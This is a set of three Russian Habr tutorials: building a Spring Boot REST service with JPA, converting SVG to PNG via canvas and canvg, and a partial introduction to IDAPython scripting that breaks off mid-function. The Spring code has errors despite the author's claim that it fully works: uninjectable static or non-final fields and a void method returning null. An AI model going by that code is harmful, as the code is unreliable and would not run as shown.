Теперь расширим возможности нашего проекта. Для этого добавим JPA, пару сущностей и напишем для них контроллеры.
#### 2.1. Создадим сущности и репозиторий
Для начала, чтоб все заработало - нам необходимо несколько зависимостей, по этому пропишем несколько строк в *build.gradle*. Data-jpa и postgresql - предоставляют набор библиотек для работы с БД, а конкретно с Postgre. Lombok и lang3 упрощают работу с POJO (Plain Old Java Object — «старый добрый Java-объект»), генерируя простой код.
Аннотируем классы следующим образом:
```
@Getter
@Setter
@Accessors(chain = true)
@Entity
@Table(name = "address")
```
Аннотации: ***@Getter*** и ***@Setter*** автоматически сгенерируют get и set методы для каждого поля. ***@Accessors(chain = true)*** - говорит что сеттер возвращает значение засеченного поля. ***@Entity*** - говорит о том, что этот объект - это POJO и на основе этого класса JPA создаст табличку с именем из ***@Table***. Для каждого поля стоит прописать имя столбца в таблице с помощью аннотации ***@Column***. Для таблицы *User* поле *login* - уникально и не должно быть null, поэтому для него пропишем параметры ***nullable = false***, ***unique = true***.
Поле *Address* в классе *User* выглядит следующим образом:
```
@OneToOne(fetch = FetchType.LAZY)
@JoinColumn(name = "address_id", foreignKey = @ForeignKey(name = "fk_users_address_id"))
private Address address;
```
Аннотация ***@OneToOne*** - отвечает за связь таблиц один к одному, а ***fetch = FetchType.LAZY*** говорит, что это ленивая инициализация. То есть данные из таблицы address будут загружаться по этому ключу только в том случае, когда к ним обратятся. ***@JoinColumn*** - говорит о том, как правильно подключиться к таблице address. ***name = "address\_id"*** - названия первичного ключа, а ***foreignKey = @ForeignKey(name = "fk\_users\_address\_id")*** - внешнего. Писать имена для внешнего ключа таким образом ***(fk\_users\_address\_id)*** удобно, так как видно какие конкретно таблицы соединяются и как.
Осталось сгенерировать методы *hashCode*, *equals* и *toString*. Для *User* мы генерируем hashCode и equals только по полю *login*, этого достаточно, так как мы сделали это поле уникальным и отличным от null. Так же для *User* при переопределении toString мы не используем поле *address*. Ранее упоминалось, что инициализация ленивая, и значение для этого поля не подтягивается сразу, а если мы попробуем обратиться к hibernate и попросить достать сущность без @Transactional, то упадем с ошибкой.
Полный код сущностей:
Сущность User:
```
@Getter
@Setter
@Accessors(chain = true)
@Entity
@Table(name = "users")
public class User {
@Id
@GeneratedValue(strategy = GenerationType.IDENTITY)
private Integer id;
@Column(name = "login",nullable = false, unique = true)
private String login;
@Column(name = "firstName")
private String firstName;
@Column(name = "middleName")
private String middleName;
@Column(name = "lastName")
private String lastName;
@Column(name = "age")
private Integer age;
@OneToOne(fetch = FetchType.LAZY)
@JoinColumn(name = "address_id", foreignKey = @ForeignKey(name = "fk_users_address_id"))
private Address address;
@Override
public boolean equals(Object o) {
if (this == o) return true;
if (o == null || getClass() != o.getClass()) return false;
User user = (User) o;
return login.equals(user.login);
}
@Override
public int hashCode() {
return Objects.hash(login);
}
@Override
public String toString() {
return "User{" +
"id=" + id +
", login='" + login + '\'' +
", firstName='" + firstName + '\'' +
", middleName='" + middleName + '\'' +
", lastName='" + lastName + '\'' +
", age=" + age +
'}';
}
}
```
Сущность Address:
```
@Getter
@Setter
@Accessors(chain = true)
@Entity
@Table(name = "address")
public class Address {
@Id
@GeneratedValue(strategy = GenerationType.IDENTITY)
private Integer id;
@Column(name = "street")
private String street;
@Column(name = "city")
private String city;
@Column(name = "building")
private String building;
@Override
public boolean equals(Object o) {
if (this == o) return true;
if (o == null || getClass() != o.getClass()) return false;
Address address = (Address) o;
return street.equals(address.street) && city.equals(address.city) && building.equals(address.building);
}
@Override
public int hashCode() {
return Objects.hash(street, city, building);
}
@Override
public String toString() {
return "Address{" +
"id=" + id +
", street='" + street + '\'' +
", city='" + city + '\'' +
", building='" + building + '\'' +
'}';
}
}
```
Добавим к приложению репозиторий – класс, который умеет работать с базой данных. Реализация очень проста, просто создадим свой интерфейс и унаследуем его от *JpaRepository*. Все. SpringBoot сам сгенерирует класс, имплементрирующий этот интерфейс и подставит там, где это необходимо.
```
public interface UserRepository extends JpaRepository {}
```
***JpaRepository*** – это интерфейс фреймворка Spring Data предоставляющий набор стандартных методов JPA для работы с БД.
Когда мы работаем с MVC моделью логика приложения разделяется на 2 части. Контроллер, который умеет обрабатывать входные данные и отправлять результат работы приложения. А также сервис, который отвечает за весь остальной функционал. В нашем приложении есть третий уровень - репозиторий, который, непосредственно, работает с БД. Рассмотрим по очереди каждый из модулей.
#### 2.2. Добавим контроллеры.
Для начала создадим 4 модели (*UserResponse*, *AddressResponse*, *CreateAddressRequest* и *CreateUserRequest*) - классы объектов которые будут получать и отправлять наши контроллеры. Можно обойтись и двумя, но мы делаем все по правилам. Отдавать доменные модели наружу считается плохим тоном, так как мы таким образом откроем информацию о БД, к тому же свои модели проще расширять и передавать через них любой объем информации.
```
@Data
@Accessors(chain = true)
public class UserResponse {
private Integer id;
private String login;
private String firstName;
private String middleName;
private String lastName;
private Integer age;
private AddressResponse address;
}
@Data
@Accessors(chain = true)
public class AddressResponse {
private String street;
private String city;
private String building;
}
@Data
@Accessors(chain = true)
public class CreateUserRequest {
private Integer id;
private String login;
private String firstName;
private String middleName;
private String lastName;
private Integer age;
private CreateAddressRequest address;
}
@Data
@Accessors(chain = true)
public class CreateAddressRequest {
private String street;
private String city;
private String building;
}
```
Аннотация ***@Data*** добавляет get, set, toString, equals, hashCode, конструктор по всем полям, т.е. практически полностью генерирует POJO класс.
Теперь можно создать наш полноценный контроллер. Помечаем класс аннотациями *@RestController* и *@RequestMapping("/api/v1/users")*.
```
@RestController
@RequestMapping("/api/v1/users")
@RequiredArgsConstructor
public class UserController {
private UserService userService;
}
```
***@RequestMapping*** говорит, по какому URL будут доступны наши контроллеры. ***@RequiredArgsConstructor*** - генерирует конструктор со всеми параметрами.
У нашего приложения будет 5 контроллеров. Два на получение данных: всех пользователей и по id, на создание, изменение и удаление данных о пользователе.
Получаем список пользователей:
```
@GetMapping(produces = APPLICATION_JSON_VALUE)
public List findAll() {
return userService.findAll();
}
```
На аннотацию *@GetMapping* мы уже смотрели ранее. ***Свойство produces = APPLICATION\_JSON\_VALUE*** говорит о том, что данные возвращаются в формате json. В данном методе мы возвращаем лист с данными *UserResponse*.
Получаем пользователя по id:
```
@GetMapping(value = "/{userId}", produces = APPLICATION_JSON_VALUE)
public UserResponse findById(@PathVariable Integer userId) {
return userService.findById(userId);
}
```
Этот метод аналогичен предыдущему, за исключением того, что мы также получаем id пользователя. Аннотация ***@PathVariable*** говорит о том что информация извлекается из адреса и передается в переменную указанную в ***{}***.
Создаем пользователя:
```
@PostMapping(consumes = APPLICATION_JSON_VALUE, produces = APPLICATION_JSON_VALUE)
public UserResponse create(@RequestBody CreateUserRequest request) {
return userService.createUser(request);
}
```
***@PostMapping*** сообщает, что это post метод и он создает новей записи в БД. ***consumes = APPLICATION\_JSON\_VALUE*** - сообщает о том, что возвращаемое значение будет в формате json.
Обновляем пользователя по id:
```
@PatchMapping(value = "/{userId}", consumes = APPLICATION_JSON_VALUE, produces = APPLICATION_JSON_VALUE)
public UserResponse update(@PathVariable Integer userId, @RequestBody CreateUserRequest request) {
return userService.update(userId, request);
}
```
***@PatchMapping*** - patch метод вносит изменения в существующие записи
Удаляем пользователя по id:
```
@ResponseStatus(HttpStatus.NO_CONTENT)
@DeleteMapping(value = "/{userId}", produces = APPLICATION_JSON_VALUE)
public void delete(@PathVariable Integer userId) {
userService.delete(userId);
}
```
***@DeleteMapping*** - delete метод удаляет записи. ***@ResponseStatus(HttpStatus.NO\_CONTENT)*** возвращает статус, указанный в скобках вместо объекта.
#### 2.3. Напишем сервисную часть приложения.
Теперь посмотрим на логику сервиса. Для начала создадим интерфейс с пятью методами, а затем унаследуемся от него. Наш интерфейс выглядит так:
```
public interface UserService {
@NotNull
List findAll();
@NotNull
UserResponse findById(@NotNull Integer userId);
@NotNull
UserResponse createUser(@NotNull CreateUserRequest request);
@NotNull
UserResponse update(@NotNull Integer userId, @NotNull CreateUserRequest request);
void delete(@NotNull Integer userId);
}
```
Аннотация ***@NotNull*** используется в двух случаях. В первом - над методом, во втором - с получаемой переменной, и обозначает, что возвращаемое и получаемые значения не могут быть null.
Создадим новый класс имплементирующий созданный выше интерфейс:
```
@Service
@RequiredArgsConstructor
public class UserServiceImpl implements UserService {
private static UserRepository userRepository;
@NotNull
@Override
@Transactional(readOnly = true)
public List findAll() {
return null;
}
@NotNull
@Override
@Transactional(readOnly = true)
public UserResponse findById(@NotNull Integer userId) {
return null;
}
@NotNull
@Override
@Transactional
public UserResponse createUser(@NotNull CreateUserRequest request) {
return null;
}
@NotNull
@Override
@Transactional
public UserResponse update(@NotNull Integer userId, @NotNull CreateUserRequest request) {
return null;
}
@Override
@Transactional
public void delete(@NotNull Integer userId) {
return null;
}
```
Сам класс аннотирован ***@Service***. Над методами добавим ***@Transactional*** - идентификатор данного метода как критической секции. Для методов, которые только читают данные, поставим флажок ***readOnly = true***.
Теперь добавим логику в каждый метод.
Получаем список пользователей:
```
public List findAll() {
return userRepository.findAll()
.stream()
.map(this::buildUserResponse)
.collect(Collectors.toList());
}
@NotNull
private UserResponse buildUserResponse(@NotNull User user) {
return new UserResponse()
.setId(user.getId())
.setLogin(user.getLogin())
.setAge(user.getAge())
.setFirstName(user.getFirstName())
.setMiddleName(user.getMiddleName())
.setLastName(user.getLastName())
.setAddress(new AddressResponse()
.setCity(user.getAddress().getCity())
.setBuilding(user.getAddress().getBuilding())
.setStreet(user.getAddress().getStreet()));
}
```
***userRepository.findAll*** - базовый метод jpa, возвращает, список сущностей типа user, описанные нами ранее. Для этого метода мы просто добавим *build* метод, который будет конвертировать один объект в другой.
Хочу обратить внимание, что раньше мы говорили, что если мы обращаемся к сущности address вне @Transactional метода, то упадем с ошибкой. Так вот, тут такое не произойдет, т.к. метод как раз имеет эту аннотацию, hibernate ее видит и поднимает это поле из БД.
Получаем пользователя по id:
```
public UserResponse findById(@NotNull Integer userId) {
return userRepository.findById(userId)
.map(this::buildUserResponse)
.orElseThrow(() -> new EntityNotFoundException("User " + userId + " is not found"));
}
```
***userRepository.findById*** - аналогичен *findAll*, но возвращает 1 объект, а не список. Т.к. из БД нам приходит *Optional*, то сразу обработаем вариант отсутствия объекта и выбросим ошибку *EntityNotFoundException*. (дальше напишем свой обработчик для этой ошибки)
Создаем пользователя:
```
public UserResponse createUser(@NotNull CreateUserRequest request) {
User user = buildUserRequest(request);
return buildUserResponse(userRepository.save(user));
}
@NotNull
private User buildUserRequest(@NotNull CreateUserRequest request) {
return new User()
.setLogin(request.getLogin())
.setAge(request.getAge())
.setFirstName(request.getFirstName())
.setMiddleName(request.getMiddleName())
.setLastName(request.getLastName())
.setAddress(new Address()
.setCity(request.getAddress().getCity())
.setBuilding(request.getAddress().getBuilding())
.setStreet(request.getAddress().getStreet()));
}
```
По аналогии с *buildUserResponse* создадим дополнительный метод *buildUserRequest*.
Тут появляется небольшая проблема, дело в том, что у сущности *User* есть дополнительная сущность *address*. В данном случае address не сохраниться, более того вылетит ошибка о том, что операция сохранения не распространяется на подчиненные сущности. Для того, чтоб это исправить в аннотацию *@OneToOne*, для поля *address* нужно добавить *cascade = CascadeType.ALL*. ***CascadeType.ALL*** - этот модификатор говорит о том, что все модификации сущности *User* будут распространяться и на сущность *Address*.
```
@OneToOne(fetch = FetchType.LAZY, cascade = CascadeType.ALL)
@JoinColumn(name = "address_id", foreignKey = @ForeignKey(name = "fk_users_address_id"))
private Address address;
```
Это не самый лучший подход, так как для каждой сущности должны быть свои контроллеры и репозитории. Но в контексте нашего приложения *Address* и *User* не могут существовать отдельно, поэтому мы можем воспользоваться этим приемом.
Обновляем пользователя по id:
```
public UserResponse update(@NotNull Integer userId, @NotNull CreateUserRequest request) {
User user = userRepository.findById(userId)
.orElseThrow(() -> new EntityNotFoundException("User " + userId + " is not found"));
userUpdate(user, request);
return buildUserResponse(userRepository.save(user));
}
```
В этом методе мы находим пользователя, по аналогии с методом *findById*, если такой объект нашелся, то сетим ему поля в методе *userUpdate*.
```
private void userUpdate(@NotNull User user, @NotNull CreateUserRequest request) {
ofNullable(request.getLogin()).map(user::setLogin);
ofNullable(request.getFirstName()).map(user::setFirstName);
ofNullable(request.getMiddleName()).map(user::setMiddleName);
ofNullable(request.getLastName()).map(user::setLastName);
ofNullable(request.getAge()).map(user::setAge);
CreateAddressRequest addressRequest = request.getAddress();
if (addressRequest != null) {
ofNullable(addressRequest.getBuilding()).map(user.getAddress()::setBuilding);
ofNullable(addressRequest.getStreet()).map(user.getAddress()::setStreet);
ofNullable(addressRequest.getCity()).map(user.getAddress()::setCity);
}
}
```
Удаляем пользователя по id:
```
public void delete(@NotNull Integer userId) {
userRepository.deleteById(userId);
}
```
userRepository.deleteById - просто удалит пользователя из БД.
Теперь добавим свой обработчик ошибок. Spring умеет перехватывать ошибки и возвращать вместо них то, что мы захотим. Для этого создадим объект ***ExceptionResponse***, который будет возвращать только сообщение из ошибки.
```
@Data
public class ExceptionResponse {
private final String massage;
}
```
А дальше добавим контроллер - обработчик ошибок.
```
@RestControllerAdvice
public class ExceptionController {
@ResponseStatus(HttpStatus.NOT_FOUND)
@ExceptionHandler(EntityNotFoundException.class)
private ExceptionResponse notFound(EntityNotFoundException ex) {
return new ExceptionResponse(ex.getMessage());
}
@ResponseStatus(HttpStatus.INTERNAL_SERVER_ERROR)
@ExceptionHandler(RuntimeException.class)
private ExceptionResponse error(RuntimeException ex) {
return new ExceptionResponse(ex.getMessage());
}
}
```
Аннотация ***@ExceptionHandler*** перехватывает исключения, указанные в скобках. ***@ResponseStatus*** будет прикладывать к сообщению соответствующий код ответа. Например: HttpStatus.NOT\_FOUND - 404, а HttpStatus.INTERNAL\_SERVER\_ERROR - 500.
### 3. Запустим и протестируем наше приложение, удивимся что все работает и порадуемся, что провели время с пользой и узнали что-то новое.
Добавим креды для подключения к БД в application.properties:
```
spring.datasource.url=jdbc:postgresql://localhost:5432/spring_demo
spring.datasource.username=program
spring.datasource.password=test
spring.datasource.driver-class-name=org.postgresql.Driver
spring.jpa.hibernate.ddl-auto=update
spring.jpa.generate-ddl=true
```
Теперь поднимем базу (для этого я использую докер) и добавляем таблички в БД.
```
CREATE DATABASE spring_demo;
CREATE ROLE program WITH PASSWORD 'test';
GRANT ALL PRIVILEGES ON DATABASE spring_demo TO program;
ALTER ROLE program WITH LOGIN;
```
Ура! Наше приложение написано и полностью работает, теперь его можно тестировать.
Подведем итог. Мы написали простое приложение и затронули несколько важных тем. Разработали контроллеры для разных REST методов, написали сервисную частью, включая свой обработчик ошибок. Подключили JPA и воспользовались методами интерфейса JpaRepository.
[Репозиторий с кодом](https://github.com/Vintentas/SpringBootApp) | https://habr.com/ru/post/565242/ | null | ru | null |
# Конвертируем svg to png
Иногда появляется необходимость сохранить svg в png средствами браузера. К сожалению, браузер не имеет волшебного api, который позволил бы это сделать без различных хаков. Что же делать, если все таки хочется добиться желаемого?
Первая идея, которая мне пришла в голову, сделать это через canvas, который имеет метод `toDataURL('image/png');`
Итак, я написал простенький скрипт: [jsfiddle](http://jsfiddle.net/a9ude9p0/6/), [github](http://mavrin.github.io/svgToPng/fromImage.html):
```
var html = document.querySelector("svg").parentNode.innerHTML;
var imgsrc = 'data:image/svg+xml;base64,' + btoa(html);
var canvas = document.querySelector("canvas"),
context = canvas.getContext("2d");
canvas.setAttribute('width', 526);
canvas.setAttribute('height', 233);
var image = new Image;
image.src = imgsrc;
image.onload = function () {
context.drawImage(image, 0, 0);
var canvasdata = canvas.toDataURL("image/png");
var a = document.createElement("a");
a.textContent = "save";
a.download = "export_" + Date.now() + ".png";
a.href = canvasdata;
document.body.appendChild(a);
canvas.parentNode.removeChild(canvas);
};
```
Суть скрипта проста: я преобразовывал svg в dataUri, загружал его через image, рисовал картинку на canvas и превращал в png. Казалось, цель достигнута, и можно расслабится. Этот подход сработал в Firefox и Chrome, но открыв ~~во всеми нами любимом браузере~~ IE, я получил замечательную ошибку:
[](https://habrastorage.org/files/1c6/74c/de8/1c674cde8f51425a82a653e55e86bc9e.png)
Дело в том, что IE считает, что картинка загружена с другого хоста. К сожалению, установить origin для dataUri не получится. Собственно, описание правил можно найти здесь: <https://html.spec.whatwg.org/multipage/scripting.html#security-with-canvas-elements>. Можно было, конечно, проксировать svg через сервер, и тогда все бы сработало, но хотелось чисто клиентское решение.
И тут я вспомнил про замечательную библиотеку [canvg](https://github.com/gabelerner/canvg). С помощью этой библиотеки я рисую svg на canvas, а далее поступаю как в первом варианте: беру `toDataURL("image/png")`. Получился такой незамысловатый код: [github](http://mavrin.github.io/svgToPng/useCanvg.html):
```
var svg = document.querySelector('svg');
var canvas = document.createElement('canvas');
canvas.height = svg.getAttribute('height');
canvas.width = svg.getAttribute('width');
canvg(canvas, svg.parentNode.innerHTML.trim());
var dataURL = canvas.toDataURL('image/png');
var data = atob(dataURL.substring('data:image/png;base64,'.length)),
asArray = new Uint8Array(data.length);
for (var i = 0, len = data.length; i < len; ++i) {
asArray[i] = data.charCodeAt(i);
}
var blob = new Blob([asArray.buffer], {type: 'image/png'});
saveAs(blob, 'export_' + Date.now() + '.png');
```
Тут стоит сказать, что еще я использовал библиотеку [FileSaver](https://github.com/ChenWenBrian/FileSaver.js) для вызова диалогового окна сохранения.
Вот и все, мы добились желаемого результата.
Стоит отметить один нюанс — я задался вопросом сохранения svg в png, когда писал плагин для экспорта [tauCharts](http://www.taucharts.com/). Так как стили в svg задаются из внешнего файла, чтобы добиться максимально подобия с исходным svg, я вставляю inline style в svg. И получаем вот такой [результат](http://mavrin.github.io/svgToPng/tauChartsExample.html).
Надеюсь, статья окажется полезной для вас и сохранит ваше время. | https://habr.com/ru/post/254973/ | null | ru | null |
# Введение в IDAPython
На русском языке (и на Хабре, в частности) не так много статей по работе с IDAPython, попытаемся восполнить этот пробел.
**Для кого.** Для тех, кто уже умеет работать в IDA Pro, но ни разу не писал скрипты на IDAPython. Если вы уже имеете опыт написания скриптов под IDAPython, то вряд ли найдёте здесь что-то новое.
**Чего здесь не будет.** Мы не будем учить программированию на Python и базовой работе в IDA Pro.
0x00. Знакомство
----------------
Как очевидно из названия, IDAPython — это всего-навсего интерпретатор Python, встроенный в дизассемблер IDA как инструмент автоматизации. Функции IDAPython являются "обёртками" для IDC (внутренний С-подобный язык автоматизации IDA Pro).
К сожалению, IDAPython до сих пор имеет [скудную документацию](https://www.hex-rays.com/products/ida/support/idapython_docs/), и зачастую ответы на вопросы по API приходится искать в исходниках или получать опытным путём. Модули IDAPython находятся в поддиректории *python* дизассемблера IDA (обычно это *C:\Program Files\IDA 7.0\python*).
В этом руководстве мы будем рассматривать IDA Pro версии 7.0. IDAPython является плагином для IDA и идёт сразу в "коробочке" (нет необходимости его устанавливать). В версиях IDA до 7.4 используется **Python 2.7 64-bit**.
### Примечание
Начиная с 7-й версии в IDAPython обновили API, а с версии 7.4 отключили поддержку старого API. Модуль *idc\_bc695.py* обеспечивает обратную совместимость, но в какой-то момент его [перестанут поддерживать](https://www.hex-rays.com/products/ida/7_0/docs/idapython_backward_compat_695/). В сети в статьях и советах до 2017 года используется старый API, поэтому будьте внимательны и сверяйтесь с текущей документацией.
0x01. В первом приближении
--------------------------
Поскольку IDAPython — это средство автоматизации, то исследователь должен *понимать*, как совершить ту или иную операцию вручную, чтобы потом ее можно было автоматизировать.
Распространенными задачами для такой автоматизации могут быть:
* переименование функций,
* комментирование кода/данных,
* преобразование кода/данных (изменение типов данных, добавление в код перекрёстных ссылок),
* поиск каких-нибудь хитрых шаблонов кода/данных,
* патчинг кода.
Естественно, этими случаями автоматизация не ограничивается — пространство для творчества велико.
### Принятые обозначения и соглашения
При работе с IDAPython принимается ряд условных обозначений:
* `ea` — Effective Address — адрес в базе IDA, к которому применяется та или иная функция;
* функция `here()` возвращает текущий адрес, где установлен курсор в Disassembly-окне. Тип результата функции — *long*;
* большинство функций импортируются из модуля *idc*, этот модуль импортирован по умолчанию. Некоторые функции находятся в других модулях, в этом случае подключение модуля будет указано явно;
* в качестве "подопытного" будет использоваться [файл прошивки Носорога](https://github.com/inforion/smartrhino-quest-2018/releases/download/v1.0/rhino_fw42k6.elf) в формате ELF.
### Как выполнить код
Выполнить код IDAPython можно несколькими способами:
* через короткие скрипты в командной строке IDA;
* запустить скрипт через меню **File — Script file (Alt + F7)**;
* запустить скрипт через меню **File — Script command (Shift + F2)**;
* запустить IDA Pro из командной строки с параметром *-S*.
Рассмотрим особенности каждого способа.
### Командная строка IDA CLI
Командная строка расположена внизу главного окна IDA. Слева находится кнопка, позволяющая выбрать язык для вводимых команд, нужно кликнуть по ней и выбрать Python.
*Не забудьте выбрать Python как язык для CLI*
### Особенности IDA CLI
* Ввод осуществляется построчно как в [интерактивном режиме Python](https://docs.python.org/2.7/tutorial/interpreter.html#interactive-mode).
* Для блоков кода (функций, циклов, условий) отступы не добавляются автоматически, поэтому не забудьте их добавить вручную.
* Поддерживается автодополнение вводимых функций при помощи клавиши Tab.
* Автодополнение работает только для имён функций без указания имени модуля.
* Функции *help* и *dir* работают как в обычном Python и позволяют получить информацию об объекте.
* Вывод результатов команд осуществляется в окне **Output window** (Alt + 0).
### Пример
Класс *Segments* из модуля *idautils* создаёт генератор, выдающий начальные адреса сегментов внутри базы IDA. Вот так будет выглядеть вывод в окне **Output window** после построчного ввода команд в IDA CLI:
```
Python>import idautils
Python>help(idautils.Segments)
Help on function Segments in module idautils:
Segments()
Get list of segments (sections) in the binary image
@return: List of segment start addresses.
Python>for ea in idautils.Segments():
Python> print("%08x %s" % (ea, idc.get_segm_name(ea)))
Python>
08000000 .isr_vector
080000c0 .text
08006f9c .rodata
08007a14 .init_array
08007a18 .fini_array
20000000 .data
200001f8 .bss
200006c8 ._user_heap_stack
200017f8 abs
```
### Script File
Для тренировки запуска скриптов через меню **File — Script file** (Alt + F7) напишем небольшой вспомогательный модуль.
При работе с кодом и данными иногда возникает необходимость преобразовать операнды из одного представления в другое (Hex / Char / Decimal). Для этого есть функции с префиксом `op_`, вот некоторые из них:
* `op_bin(ea, n)` — преобразование операнда в двоичный вид;
* `op_dec(ea, n)` — преобразование операнда в десятичный вид;
* `op_oct(ea, n)` — преобразование операнда в восьмеричное число;
* `op_hex(ea, n)` — представление операнда в hex-виде;
* `op_chr(ea, n)` — представление операнда в виде символа;
* `op_seg(ea, n)` — представление операнда в виде ссылки на сегмент;
* `op_stkvar(ea, n)` — преобразование операнда в стековую переменную;
* `op_stroff(ea, n)` — преобразование операнда в поле структуры;
* `op_enum(ea, n)` — представление операнда в виде ENUM-константы;
* `op_plain_offset(ea, n, base)` — представление операнда в виде ссылки на объект.
Где:
* `ea` — адрес, в котором будет применена функция;
* `n` — номер операнда в инструкции (нумерация с нуля); то есть в инструкции `mov eax, 0x10`:
+ `eax` — 0-й операнд;
+ `0x10` — 1-й операнд;
* `base` — базовый адрес для offset-операнда (ссылка) .
Поскольку в IDA 7.0 используется Python 2.7, то для использования кириллических комментариев необходимо указать кодировку файла (или использовать только латиницу).
Тогда можно составить такой модуль для преобразований:
```
# coding: utf-8
"""
File: transforms.py
Функции преобразования отображения операндов
"""
START = 0x08000038
END = 0x08000084
def make_offsets32(start_ea, end_ea):
"""Преобразование данных в ссылки на объекты"""
for ea in xrange(start_ea, end_ea, 4):
idc.op_plain_offset(ea, 0, 0)
def make_dwords(start_ea, end_ea):
"""Преобразование данных в 32-битные числа в hex-представлении"""
for ea in xrange(start_ea, end_ea, 4):
idc.op_hex(ea, 0)
if __name__ == '__main__':
make_dwords(START, END)
```
По аналогии с выполнением скрипта в Python, весь код в теле модуля выполняется при запуске в IDA. В данном случае будет выполнена функция `make_dwords` с адреса START по адрес END. При этом все функции, которые есть в загруженном файле, после выполнения скрипта становятся доступны для запуска через IDA CLI.
Для упрощения доступа к недавним скриптам в IDA есть окно **Recent scripts** (меню View — Recent scripts **Alt + F9**):
**Важное примечание**: если вы разрабатываете и отлаживаете IDAPython-утилиту, которая состоит из нескольких модулей, то при обновлении неглавного модуля придётся перезапускать весь дизассемблер IDA, потому что Python 2 не умеет перезагружать модули, а IDA не умеет отдельно перезагружать свои плагины.
### Script Command
Меню **File — Script command** (Shift + F2) позволяет написать и сохранить скрипт в текущей базе IDA. Это удобно, если предполагается, что некоторые действия могут выполняться по многу раз в текущей базе. В случае если базу нужно передать коллегам, скрипты также будут переданы автоматически.
Код написанный в этом окне сохраняется автоматически. Для выполнения кода нужно нажать кнопку **Run**.
### Запуск IDA c ключом -S
IDA Pro, как и многие приложения, поддерживает запуск с ключами через командную строку. Информацию по всем ключам запуска можно прочитать во встроенной справке (по клавише F1) в разделе **Command line switches**.
Среди прочих есть ключи, позволяющие выполнить скрипт при запуске:
`> "C:\Program Files\IDA 7.0\ida.exe" -A -Sscript_name.py rhino.idb`
* **-A** задаёт режим автономной работы без дополнительных диалоговых окон,
* **-S** служит для запуска скрипта script\_name.py однократно при открытии IDB-файла.
### Ввод/вывод
При взаимодействии с пользователем есть следующие особенности:
* оператор print выводит результат в окно **Output window** (Alt + 0);
* двойной клик по строке в окне **Output window** позволяет перейти в Disassembly-окно по адресу или имени объекта, если такой существует в базе IDA. Ниже приведён вывод из Output window с указанием случаев, когда будут и не будут выполняться переходы в Disassembly-окне.
```
Python>here()
134239060 # 1. здесь не будет перехода
Python>hex(here())
0x8005354L # 2. здесь не будет перехода
Python>"%08x" % here()
08005354 # 3. будет выполнен переход
Python>get_name(here())
aErrorWrongHead # 4. будет выполнен переход
```
* функции *input*/*raw\_input* не работают;
* для пользовательского ввода нужно использовать *ask\_*-функции модулей *ida\_kernwin* и *idaapi*.
### Отладка скриптов
Отладка скриптов в привычном понимании под IDAPython невозможна, поскольку скриптам требуется доступ к "внутренностям" IDA Pro. [Имеющиеся рецепты](https://reverseengineering.stackexchange.com/questions/2190/how-to-debug-an-idapython-script-from-within-ida) неактуальны для IDA 7-ой версии.
Актуальными средствами отладки для IDAPython-скриптов можно назвать логирование и вывод промежуточных значений (в народе — "отладка принтами").
### IDAPyHelper
Автодополнение в командной строке помогает, если вы точно знаете или хотя бы предполагаете имя функции, к которой хотите обратиться. Для более наглядного выбора модуля и функции IDAPython можно воспользоваться скриптом [IDAPyHelper](https://github.com/patois/IDAPyHelper), который выводит имена доступных модулей и их функций.
### IDAPython Cheatsheet
Для упрощения работы с IDAPython мы сделали свою [шпаргалку](https://github.com/inforion/idapython-cheatsheet) популярных функций. Особенность шпаргалки — цветовое представление типов аргументов и результатов функций.
0x02. Комментирование вызова функции
------------------------------------
От общих слов перейдем к конкретным примерам.
Удобным приёмом при исследовании бинарного кода является комментирование отдельных участков. Интересно, что если оставить комментарий в строке с вызовом функции, то этот комментарий будет отображаться в окне ссылок на функцию (Xrefs по клавише X), как это показано на рисунке ниже.
В случае, если обращений к функции достаточно много, расставлять комментарии вручную становится затруднительно. Такую операцию можно и нужно автоматизировать с использованием IDAPython.
Расставим комментарии в местах обращений к функции `memcpy`. Как видно из рисунка, в текущей базе известно 11 обращений к `memcpy`.
Общий алгоритм для добавления комментариев будет таким:
* получить все кросс-ссылки на функцию `memcpy`;
* в каждом месте обращения к `memcpy` составить список аргументов;
* составить строку комментария;
* добавить комментарий.
Для выполнения этих действий потребуются следующие функции и классы:
* `idautils.CodeRefsTo(func_ea, flow)` — создаёт генератор, который возвращает объекты-ссылки из кода на указанный адрес. Параметр `flow` (значения 0/1) задаёт необходимость учитывать ссылки, которые сформированы за счёт простого перехода от инструкции к инструкции. В нашем случае `flow = 0`;
* `idc.prev_head(ea)` — возвращает адрес предыдущей инструкции относительно указанного адреса, это необходимо для прохода вверх по коду для поиска аргументов;
* `idc.get_operand_value(ea, n)` — возвращает значение n-го операнда по указанному адресу. Если операнд является регистром, то возвращается номер регистра в соответствии с текущей процессорной архитектурой. Для архитектуры ARM номера регистров очевидны:
+ *R0* — 0;
+ *R1* — 1;
+ *R2* — 2 и так далее;
* `idc.get_operand_type(ea, n)` — возвращает тип n-го операнда по указанному адресу. Основные типы операндов:
+ `o_void = 0` — инструкция без операнда (например, NOP);
+ `o_reg = 1` — регистр;
+ `o_mem = 2` — адрес в памяти;
+ `o_phrase = 3` — составной адрес *[Base Reg + Index Reg]*,
+ `o_displ = 4` — составной адрес *[Base Reg + Index Reg + Displacement]*;
+ `o_imm = 5` — число-константа;
+ `o_far = 6` — FAR-адрес;
+ `o_near = 7` — NEAR-адрес;
+ другие типы операндов зависят от процессорной архитектуры;
* `idc.print_operand(ea, n)` — возвращает строковое представление операнда;
* `idc.set_cmt(ea, comment, repeat)` — добавляет комментарий по указанному адресу (см. ниже).
### Аргументы функции
Поскольку в архитектуре ARM аргументы передаются в функцию через регистры (R0-R3), то необходимо:
* пройти вверх от точки обращения к функции;
* найти инструкции, где в регистры *R0*, *R1*, *R2* заносятся данные (функция memcpy принимает 3 аргумента);
* если в регистры заносится число или адрес, нужно вернуть hex-представление этого числа, для всех остальных случаев вернуть просто текстовое представление операнда.
### Комментарии в IDA
Комментарии в базе IDA бывают трех типов:
**Простые комментарии** — отображаются только в той строке, где они установлены. Добавляются функцией `idc.set_cmt(ea, comment, rpt)` с аргументом `repeat = 0`:
**Повторяемые комментарии (repeatable)** — помимо основной строки отображаются ещё и там, где есть ссылка на строку с комментарием. Добавляются функцией `idc.set_cmt(ea, comment, rpt)` с аргументом `repeat = 1`:
**Многострочные комментарии в коде ()** — устанавливаются функцией `idc.update_extra_cmt(ea, n, comment)`:
Для нашего случая подходят простые неповторяемые комментарии.
### Код для комментирования вызовов функции
```
# coding: utf-8
"""
File: funcargs.py
Добавление комментария в места вызова функции с аргументами
"""
import idautils
MEMCPY = 0x08006B26
def get_function_arg(ea, narg):
""" Поиск n-го аргумента функции """
while True:
ea = idc.prev_head(ea)
if idc.get_operand_value(ea, 0) == narg:
break
